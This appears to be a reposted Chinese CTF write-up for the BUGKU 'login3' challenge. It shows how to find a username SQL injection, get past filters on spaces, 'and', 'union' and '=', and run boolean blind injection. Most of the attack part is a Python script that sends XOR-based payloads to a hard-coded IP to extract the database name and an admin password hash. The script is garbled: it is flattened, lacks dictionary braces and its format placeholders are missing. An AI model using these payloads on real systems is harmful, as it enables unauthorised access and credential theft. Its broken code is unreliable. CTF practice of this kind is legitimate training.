BUGKU login3(SKCTF)
Posted zhu013
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUGKU login3(SKCTF)相关的知识,希望对你有一定的参考价值。
进入页面 先输入1 和 1 发现 提示 用户名错误
猜测输入用户名 admin 和 1 提示 密码错误
继续猜测输入用户名 admin‘ 和1 提示 用户名错误
继续猜测输入 用户名 admin‘#和1 提示 密码错误
说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确
综上 用户名输入存在注入
输入admin‘ # 提示非法 说明 空格被过滤
空格可以使用 () 代替,=可以使用 <> 代替
经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注
上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775
通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password
下面是脚本
import sys import requests from bs4 import BeautifulSoup import re url_start = ‘http://123.206.31.85:49167/index.php‘ sql_flag ="admin‘^(select(ascii(mid((select(password)from(admin))from(0)))<>1))^0#" sql_database="admin‘^(ascii(mid(database()from(0)))<>1)^0#" def Brup(SQL): name=‘‘ for i in range(1,40): for ch in range(32,129): if(ch == 128): sys.exit(0) payload = SQL.format(i,ch) #print(payload) #data = # ‘username‘:payload # #print(data) data= ‘Host‘: ‘123.206.31.85:49167‘, ‘User-Agent‘: ‘Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0‘, ‘Accept‘: ‘text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8‘, ‘Accept-Language‘: ‘zh-CN,en;q=0.5‘, ‘Accept-Encoding‘: ‘gzip, deflate‘, ‘Referer‘: ‘http://123.206.31.85:49167/‘, ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, ‘Content-Length‘: 65, ‘Connection‘: ‘close‘, ‘Upgrade-Insecure-Requests‘: 1, ‘username‘:payload, ‘password‘:‘test‘ #print(data) html = requests.post(url_start,data) #print(html.content) soup = BeautifulSoup(html.content, ‘html.parser‘) result = soup.find_all(text = ‘password error!‘) #print(result) #判断是否为空 if len(result): name += chr(ch) print(‘name:‘+name) break if __name__ == ‘__main__‘: #Brup(sql_database) #Brup(sql_flag) #database:blindsql #password:51b7a76d51e70b419f60d3473fb6f900
以上是关于BUGKU login3(SKCTF)的主要内容,如果未能解决你的问题,请参考以下文章